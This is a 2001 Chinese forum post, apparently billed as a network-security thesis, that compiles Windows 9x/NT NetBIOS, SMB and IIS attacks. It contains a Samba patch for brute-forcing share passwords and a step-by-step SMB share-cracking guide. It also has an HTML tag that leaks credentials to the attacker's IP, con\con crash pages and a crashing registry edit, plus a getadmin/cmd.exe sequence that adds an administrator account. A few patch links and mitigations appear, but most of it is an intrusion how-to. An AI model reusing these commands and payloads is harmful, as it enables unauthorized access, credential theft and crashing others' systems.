|
|
楼主 |
发表于 2001-6-11 19:41:27
|
显示全部楼层
网 络 安 全 毕 业 论 文
下面引用由king在 2001/06/11 07:30pm 发表的内容:
网 络 安 全 毕 业 论 文
网络安全的具体含义会随着“角度”的变化而变化。比如:从用户(个人、企业等)的角度来说,他们希望涉及个人隐私或商业利益的信息在网络上传输时受到机密性、完整性和真实性的保护,避免?
....... Win9x 客户端驱动器类型比较漏洞
受影响的系统:Windows 95, Windows 98
问题描述:当Win9x 客户端访问NETBIOS文件共享服务和比较驱动器类型时,如果 服务器返回的类型不是下述类型: "?????"," A:"," LPT1:"," COMM"或者"IPC" 这将导致存在第六种返回结果,但是这种结果会被误以为上述五种结果之一, 这样,Win9x 客户端将得到错误的驱动器指针,并把控制权转移给错误 的驱动器函数地址,最终导致崩溃。 恶意的用户能向目标机器发送HTML email。如下述文件所示: hello 当Win9x 客户端使用 outlook express或者其它支持HTML的电子邮件 客户软件读这封恶意的HTML电子邮件时,会导致客户端的服务拒绝响应。
利用该漏洞的程序:
注意:该程序仅做研究之用,其它情况,该不负责。 在windows 98第二版或英文版中,可以按照下述步骤执行:
D:\WIN98\SYSTEM>debug vserver.vxd -d 2b60 1266:2B60 3C 01 75 24 8B C8 C1 E9-10 83 F9 6A 73 05 83 F9 <.u$.......js... 1266:2B70 64 73 1B 83 F9 13 72 10-83 F9 1F 76 0C 80 7F 3E ds....r....v...> 1266:2B80 05 73 05 83 F9 58 77 21-C3 66 B8 03 38 C3 83 F9 .s...Xw!.f..8... 1266:2B90 65 74 10 83 F9 68 74 32-83 F9 67 75 1B B8 03 38 et...ht2..gu...8 1266:2BA0 1A 00 C3 B8 03 38 1E 00-C3 83 F9 6E 74 10 83 F9 .....8.....nt... 1266:2BB0 70 74 11 83 F9 6C 74 12-B8 03 38 1F 00 C3 B8 01 pt...lt...8..... 1266:2BC0 00 02 00 C3 B8 03 38 27-00 C3 B8 03 38 15 00 C3 ......8'....8... 1266:2BD0 91 FE 48 32 75 0E 83 78-2A 00 74 08 8D 40 2A E8 ..H2u..x*.t..@*. -n vserver.bak (backup) -w Writing 1B8F8 bytes -n vserver.vxd -e 2b60 33 c0 c3 -w Writing 1B8F8 bytes -q 重启机器 给共享目录设置口令 从另一个Win9x 客户端上访问共享目录。
通常共享服务所在的Win9x 客户端会产生"蓝屏"错误,然后 系统将变得不稳定或者停机。
处理方式: 不要访问不信任主机的文件共享服务。 禁用基于TCP/IP的NetBIOS。
------------------------------------------------------------------Windows 9x NETBIOS 口令验证漏洞
受影响的系统:Windows 95 ,Windows 98 ,Windows Me
影响:在Microsoft Windows 9x NETBIOS协议实现中所使用的口令验证方案中存在安全 漏洞。 利用这个漏洞,任意的用户可以访问Windows 9x的使用口令保护的文件共享服务 。 尽管攻击者并不知道共享口令。
问题描述:用户可以通过设置口令来保护Microsoft Windows 9x系统的共享资源。但是在Microsoft Windows 9x NETBIOS协议实现中所使用的口令验证方案中存在安全漏洞。在验证口令时,口令的长度依赖于从客户端发送到服务器数据的长度。这就是说,如果客户端设置口令的长度为 一个字节,并且向服务器发送包含字符形式的口令的消息包,服务器 收到口令之后,仅比较共享口令的第一个字节。如果一致的话,口令 验证过程就结束了。所有攻击者所要做的只是猜测并且试验受害人口令 的第一个字节。 因为Windows 9x远程管理系统采用相同的共享口令验证方法,所以它也会受到影响。
利用该漏洞的程序:
下载samba源代码软件包,并且象下述例子一样修改
source/client/client.c: --- samba-2.0.6.orig/source/client/client.c Thu Nov 11 10:35:59 1999 +++ samba-2.0.6/source/client/client.c Mon Sep 18 21:20:29 2000 @@ -1961,12 +1961,22 @@ struct cli_state *do_connect(char *serve DEBUG(4,(" session setup ok\n")); +/* if (!cli_send_tconX(c, share, "?????", password, strlen(password)+1)) { DEBUG(0,("tree connect failed: %s\n", cli_errstr(c))); cli_shutdown(c); return NULL; } +*/ + + password[0] = 0; + c->sec_mode = 0; + do{ + + password[0]+=1; + + }while(!cli_send_tconX(c, share, "?????", password, 1)); DEBUG(4,(" tconx ok\n"))
处理方式: 关闭Microsoft的文件和打印共享服务。
解决方案:
Microsoft已经发布关于这个漏洞的安全公告。
该安全公告可用的补丁.
Windows98and98SE: http://download.microsoft.com/download/win98SE/Update/11958/W98/EN-US/2 73991USA8.EXE .
WindowsMe: http://download.microsoft.com/download/winme/Update/11958/WinMe/EN-US/2 73991USAM.EXE
------------------------------------------------------------------
基于NetBIOS的简单Windows进攻法
被影响的 系统平台:Windows 95, windows98,Windows Nt,Windows 2000
讨论一下有关如何进攻NetBIOS。
什么是SMB?
为了能沟通,你和我都需要共同的语言,如Chinese or English。计算机也一样,有很多计算机“语言”用于沟通互连在网上的机器,这些语言叫“协议”。TCP/IP, NETBEUI, IPX, SNA 和 Appletalk都是协议。有一种很流行的协议,它能使你共享文件,磁盘,目录,打印机,甚至网络端口;这个协议叫做SMB(Server Message Block)标准,它能被用于Warp连接, Warp 4, LAN Server, Lan Server/400, IBM PC Lan and Warp Server (from IBM), LANtastic in SMB mode (from Artisoft), MS-Client, Windows for Workgroups, Windows 95, LAN Manager and Windows NT Workstation & Server, DEC Pathworks, LM/UX, AS/UX, Syntax and Samba客户端或服务器之间的信息沟通。
怎样应用SMB?
Windows SMB被叫做“文件和打印共享”,它允许你访问共享被其他用户许可的文件和文件夹。基于Windows 95, 98或Windows Millenium的共享,即使你加了密码也是不安全的,利用这个共享,你可以得到从游戏到信用卡号码,音乐或数据库,甚至任何你想要的信息。
怎样去进攻?
1)下载SMBScanner,然后打开它,输入一个IP类。
(比如:127.0.0.1)建议你去下载IP地址分配表。
2)当搜索完成后,不要用软件本身的功能来“暴力”破解共享密码,请看下一步。
3)打开“运行”(开始-运行)或同时按“窗口键和R”,键入一个用SMBScanner搜出来的IP地址,例子:假如搜出的地址是:127.0.0.1,然后在运行窗口中键入"\127.0.0.1",按回车。然后是等...这要看你的连接速度,一般不会超过30秒,完成后将出现一个带共享名的文件夹。如果它出现了一些像“不共享”“IP地址连接不上”等,不要灰心,毕竟进攻电脑不是那么容易的事儿,你没有失败,看其他的IP。
4)单击一个带共享名的文件夹,打开它,通常如果此目录叫“C”的话,大概就是受害者的C盘了(希望如此,打开个“game”你还想下载他的游戏么?)打开带共享名的文件夹,这时将出现一个对话框,要密码。如果没有密码就太好了,你可以直接访问和下载文件了,但不要在此目录里运行可执行文件,按ctrl and C把它们复制到你的本地机器上再执行(catsun在此建议您要注意你下载的文件,万一有病毒!!!,不会有这样阴险的人吧引你上钩);如果对话框向你要密码请看下一步。
5)Windows 95, 98, and Millenium有个“速度破解漏洞”进入议题:再打开“运行”窗口,输入“command”如果你在用WindowsNT/2000的话请输入“cmd”打开一个命令窗口,键入“nbtstat -a ipaddress”(帮助文档情况请键入“?”)你将看到如下的输出:
Local Area Connection:
Node IpAddress: [4.3.37.XXX] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
MATRIX <00> UNIQUE Registered ------------------------重要!
WORKGROUP <00> GROUP Registered
MATRIX <20> UNIQUE Registered
MATRIX <03> UNIQUE Registered
WORKGROUP <1E> GROUP Registered
ADMINISTRATOR <03> UNIQUE Registered
WORKGROUP <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
MATRIX <6A> UNIQUE Registered
MATRIX <87> UNIQUE Registered
MAC Address = 00-80-C6-F9-X-X
最靠前的名字是NetBIOS name (MATRIX),第六行的是用户名,(关于词名字,还有其他的进攻方法,但是那是另外一课了,“暴力法”)我在以前的文章里写过的)。注意:请记好NetBIOS name!,我们将用它破解共享名文件夹的password。
6)下载,然后打开 PQwak。
--在NBMAME右面输入nbtstat中显示的NetBIOS name
--在SHARE栏里输入受密码保护的共享文件夹名。
--在IP栏里输入IP地址(期望我们找到的对象在用DSL或长时间上网,否则我们做了那么多后,他下线了,岂不是!·#¥%%……)
--设置DELAY,要看你的连接方式,如果是用56k的小猫的话,建议把DELAY设置在1000-2000,如果是用ADSL的话,建议在800-900。
7)运行 PQwak,不会让您浪费很长时间,完成后返回到受密码保护的共享文件夹,打开它,当它要网络密码时,将PQwak里的密码拷贝下来,再粘贴到密码对话框,然后 Do what you exactly want to do!
注意:如果你运行PQwak后出现“the password is a ' or the password is wrong”,请将DELAY数值调高。
我隐藏了我用的IP,但几乎任何IP段都有这样的机器!我这里扫到了17个。 以后您可以试一试哪个主机可以进入(有些没有被设置权限),你就可以添加,删除,或加入个木马之类!◎#¥%……
这样你可以进入远程电脑了,但这并不是“黑客”。
这个 漏洞在windows95/98/98se下可以进行进攻。
------------------------------------------------------------------
Windows 9x/NT 4.0/2000的NetBIOS的缓存可被破坏
受影响的系统:Windows 95,Windows 98,Windows NT 4.0,Windows 2000
描述:
Windows 95,98,NT 4.0和2000中的NetBIOS缓存的实现方式允许从远程在动态缓存中添加条目,以及删除动态缓存和静态缓存(从LMHOSTS文件中)的条目。这是由NetBIOS缓存的实现和CIFS(Common Internet File System)浏览协议之间的交互引起的。CIFS浏览协议用来生成网络资源的列表,该协议被用在“网上邻居”和“我的网络”等服务中。它还定义了一些浏览帧,这些帧被封装在NetBIOS数据包中。当从138号UDP端口接收到一个浏览帧的请求时,NetBIOS数据包中的信息被提取出来并添加到NetBIOS缓存中。这些信息包括源和目的地的NetBIOS名字、第二源IP地址以及IP头。远程的恶意用户可以通过发送单播或广播类型的UDP数据包,从而使得NetBIOS名字到IP地址的解析进
行重定向,在其控制之下转发到任意的IP地址。一旦NetBIOS缓存被UDP数据包破坏,就不再需要预测事务标识(据报道,事务标识是一个很容易预测的16 bit的标识)。为了刷新缓存中的动态条目,用户可以发送一个正向名字查询(Positive Name Query)响应,在该响应中提供另一个IP地址给NetBIOS名字映射。
建议:
NAI COVERT实验室提供了如下解决方案:
1、如果运行的是Windows 2000,则将基于TCP/IP的NetBIOS禁止使用。
2、为了防止外来的攻击,将网络对外的UDP和TCP的135~139及445号端口关闭。
3、由于NetBIOS名字解析(不管是通过广播还是WINS)容易受到这种破坏缓存的攻击,因此不能依赖
实施主机名到IP地址的解析。
4、禁止WINS客户捆绑,包括NetBIOS接口、服务器和工作站提供的服务。通过“nbstat -n”命令察看哪些服务注册了NetBIOS名字,将所有的这些服务禁止,这是很重要的。选择性地取消NetBIOS接口捆绑或其它一些特定的服务,这些服务使得服务器或工作站允许攻击者与NetBIOS名字进行对话并破坏NetBIOS缓存。
5、另外一个需要注意的重要方面是确保计算机浏览服务不依赖于浏览帧的处理和生成(至少在本漏
洞的范围之内要求是这样)。禁止计算机浏览服务对本漏洞没有影响。
Windows 分段IP包重组拒绝服务攻击漏洞
受影响的系统: Windows 95,Windows 98,Windows NT 4.0, Windows 2000
描述: 当以每秒发送150多个包的速率持续发送同样的分段IP包给Windows系统 (包括win95/98/NT/2 000),将导致受攻击主机的CPU占用率达到100%,网络 接口和服务中断。当攻击停止时,服务会恢复正常。
建议: 微软已经提供了针对这个问题的补丁程序,请根据系统从下列地址下载:
Windows 95: http://download.microsoft.com/download/win95/update/8070/w95/EN-US/259728USA5.EXE .
Windows 98: http://download.microsoft.com/download/win98/update/8070/w98/EN-US/259728USA8.EXE .
Windows NT 4.0 Server, Terminal Server Edition: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20830 .
Windows 2000 Professional, Server and Advanced Server: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20827 .
------------------------------------------------------------------利用WINDOWS系统漏洞窃密一计
说说我发现的一个新漏洞的应用吧,我发现NT系统一样有,还有并不要等到出来密码提示时早就发出自己的密码了。WINDOWS系统访问用户权限的机器的时候把自己的用户名密码等发出去,这可以借助邮件、主页等主动窃取密码。 主页或者邮件里面来个
<img src="file:\\ip\dir\filename" BORDER="0" HEIGHT="0" WIDTH="0"> 那filename弄个没有的文件名,不看原文件谁也不知道有这么个东西。IP是自己的IP,再借助现成的LOCKDOWN可以很方便的知道收件人(对于邮件)的IP、机器名、用户名,如果编一下程序或者用NETXRAY还可以得到可爱的密码(加密的,但可以离线破解,别人一点不知道),对于个人系统如果是NT系统那有了用户名和密码一般的机器都是你自由控制了。
------------------------------------------------------------------Windows9x下可导致DDOS攻击的漏洞
Windows9x系列都支持VFAT("长文件名"文件系统),对VFAT来说,它最主要的功能是能存储长文件名。因为它是建立在普通的FAT下的,所以每个文件都可有“8+3”文件格式。但VFAT另外分配了路径区以支持长文件名。一些由CON 或 NUL 组成的路径调用,可能会导致FAT32/VFAT上程序的崩溃,最终的结果是系统崩溃。
源代码如下在HTML页面的图像标识符中隐藏一个指向[drive]:\con\con 或 [drive]:\nul\nul的图像路径。当查看该HTML页面时,会使Windows98崩溃(在MS outlook 和 Eudora pro 4.2中,Netscape Messenger 不受影响)
①<html><body>
<a href="c:\con\con">crashing IE</a>
<!-- or nul\nul, clock $ \clock$ →
<!-- or aux\aux, config $ \config$ →
</body>
</html>
②<html>
<body>
<img src="c:\con\con">
<!-- or nul\nul, clock $ \clock$ →
<!-- or au\aux, config $ \config$ →
</body>
</html>
需要说明的是,在Netscape浏览器中不存在这个问题,因为在调用此路径的时候,该路径串会更改为file:///d|/c:\nul\nul。上面的URL中输入c:\nul\nul时,如果不带file:///d|/,Netscape(和操作系统)会遭到此类的攻击。
③修改注册表使系统崩溃!!!
修改注册表[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open]的键值为: c:\con\con "% 1" % *或 c:\nul\nul "% 1" % *也会使系统崩溃!!!
④在WarFTP下的根路径下,使用 Get /con/con 或 Get /nul/nul,也可以使操作系统崩溃。其它的FTP服务程序还未经测试。此漏洞可远程使用。
------------------------------------------------------------------Administrastor真不安全
之一 :如果你有普通用户帐号,有个一个很简单的方法获取NT Administrator帐号:
先把c:\winnt\system32下的logon.scr改名为logon.old备份 然后把usrmgr.exe改名为logon.scr 然后重新启动 logon.scr是启动时加载的程序,重新启动后,不会出现以往的登陆密码输入界面,而是用户管 理器这时他就有权限把自己加到Administrator组,不要忘记把文件名改回来啊!
之二: 下面的技术适用于不重视NT网络安全的网站,一些 http的技术也可以供较高级的人员参考进 入NT网络可以采取下面的步骤: 因为NT的IIS server的ftp一般都是允许anonymous匿名帐号进入的,有些anonymous的帐号还 有upload权限,我们就要攻击这类站点。因为如果不允许匿名帐号,就可能造成明文密码在网上传输。用tcpspy的工具可以截获这些密码。现在不谈这些比较高级的技术。 正因为允许匿名帐号ftp登陆的设定,也给我们带来了突破NTserver的机会。我们用ftp登陆 一个NT server,比如:www.xxx.com(示例名):
ftp www.xxx.com
Connected to www.xxx.com
220 ntsvr2 Microsoft FTP Service (Version 3.0).
ntsvr2这个东西暴露了其NETbios名,那么在IIS的背景下,必然会有一个IUSER_ntsvr2的用户 帐号,属于Domain user组,这个帐号我们以后要用来获取Administrator的权限
User (www.xxx.com:(none)):anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 输入 guest@ 或者guest
对于缺乏网络安全知识的管理员来说,很多人没有将guest帐号禁止,或者没有设置密码。那么 guest帐号就是一个可用的正确的用户帐号,虽然只属于Domain guest组,在这种情况下我们 就可以进NT server的ftp了。 进去以后,看看目录列表,试试 cd /c 或wwwroot等关键目录,如果运气好,改变目录成功,这 时你就有了80%的把握。 现在,开始查找cgi-bin目录(或者scripts目录),进去以后, 把winnt下的cmd.execopy到cgi-bin,把把getadmin和gasys.dll传上去到cgi-bin然后输入:
http://www.xxx.com/cgi-bin/getadmin.exe?IUSR_SATURN
大约十多秒后屏幕显示:
CGI Error
这时有90%的可能是:你已经把IUSER_ntsvr2升级为Administrator,也就是任何访问该web站里的人都是管理员,下面可以add user:
http://www.xxx.com/cgi-bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20china %20news%20/add 这样就创建了一个叫china用户,密码是news,然后:
http://www.xxx.com/cgi-bin/getadmin.exe?china 或者
http://www.xxx.com/scripts/tools/getadmin.exe?china
你再用china的帐号登陆,就可以有最大的权限了,也可以用上面的cmd.exe的方法直接修改如果没有cmd.exe,也可以自己传一个上去到scripts/tools或者cgi-bin目录
之三: 用NT的Netbios技术扫描 nbtstat -a http://www.xxx.com / 或者 nbtstat -A http://www.xxx.com / 这样可以得到其域的共享资源名称 net view file://www.xxx.com/ 可以获得其机器的共享资源名称,如果有c盘 net use f: file://www.xxx.com/c 可以用f:映射其c盘 net use \\111.111.111.111\ipc$ "" /user:""
之四: Unix下移植过来的工具: Windows95&98的用户可以用这个tcp/ip工具去抓tcp/ip连接中的包: WinDump95.exe 使用前还要下载这个库 Packet95.exe
WindowsNT用户的版本 WinDump.exe PacketNT.exe
------------------------------------------------------------------ |
|